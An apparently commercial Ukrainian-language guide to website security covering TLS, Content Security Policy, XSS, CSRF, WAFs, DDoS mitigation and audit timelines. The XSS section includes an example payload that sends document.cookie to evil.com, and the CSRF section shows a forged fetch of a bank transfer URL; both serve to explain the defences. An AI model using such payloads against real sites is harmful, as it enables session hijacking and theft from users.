Безпека веб-сайтів: HTTPS, CSP, XSS, CSRF, WAF, захист від DDoS
Взлом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress загрузив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS в полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями.
Безпека — не одна настройка. Це шари захисту, кожен з яких закриває окремий клас атак.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але "мати SSL-сертифікат" та "правильно налаштований TLS" — різні речи.
Що перевіряємо в конфігурації Nginx/Apache:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — відключені
- Cipher suites: відавати перевагу ECDHE (Forward Secrecy), видалити NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер більше не робить незахищених запитів - OCSP Stapling — прискорює перевірку відзиву сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs (ssllabs.com/ssltest) повинна показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для production — стандарт. Автоматичне оновлення через certbot renew у cron. Wildcard-сертифікат для поддоменів через DNS-01 challenge.
Content Security Policy: найпотужніший та найскладніший захист
CSP — HTTP-заголовок, який каже браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP проще простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимось звіти 2–4 тижні, дорабляємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадкова строка, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це повністю ламає XSS через <script>alert(1)</script>.
'unsafe-inline' у style-src — компроміс для inline-стилів. Краще видалити, перенісши всі стилі у CSS-файли, але це вимагає рефакторингу.
XSS: атаки та захист у коді
XSS (Cross-Site Scripting) — інєкція JS-коду через користувацький ввід. Три типи:
Reflected XSS — шкідливий код у URL, відбивається у відповіді сервера. Приклад: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>. Якщо сервер повертає параметр q без екранування — код виконається у браузері жертви.
Stored XSS — код зберігається у базі (коментар, поле профілю) та виконується у всіх, хто відкриває сторінку. Найнебезпечніший тип.
DOM XSS — вразливість у клієнтському JS: element.innerHTML = location.hash без санітизації.
Захист: ніколи не вставляйте користувацький ввід у HTML без екранування. У PHP — htmlspecialchars() з ENT_QUOTES. У Blade-шаблонах Laravel — {{ $var }} безпечний (екранує автоматично), {!! $var !!} — небезпечний. У React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text (HTML-контент від користувачів) — htmlpurifier на PHP або DOMPurify у браузері.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований у банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає у сесії, вставляє у форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняють браузеру відправляти cookie у cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається у cookie (а в Authorization header або localStorage). Але localStorage уразливий до XSS — тому для чутливих даних переважніші HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу помилкових спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall для російського ринку).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Крім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements скрізь. Жодних конкатенацій користувацького вводу у SQL-строки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() у WordPress — обов'язково.
Оновлення залежностей. composer audit та npm audit — у CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні окружения CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog у pre-commit hooks.
Аудит та графік
Базовий security audit: аналіз заголовків, CSP, залежностей, конфігурації сервера, загальних вразливостей. Для критичних систем — пентест з ручним дослідженням логіки додатку.
| Тип робіт | Графік |
|---|---|
| Security-аудит + hardening (заголовки, TLS, оновлення) | 1–2 тижні |
| Впровадження CSP від Report-Only до production | 2–4 тижні |
| Настройка WAF + Rate Limiting + DDoS захист | 1–2 тижні |
| Комплексний security review + пентест | 3–6 тижнів |
Вартість розраховується індивідуально в залежності від розміру та складності системи.







